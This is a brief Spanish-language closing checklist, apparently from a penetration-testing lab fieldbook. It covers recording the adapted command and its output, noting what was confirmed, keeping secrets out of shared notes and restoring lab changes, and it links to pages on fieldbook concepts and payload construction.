Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: [conceptos de Fieldbook](#). Método: [construcción de payloads](#).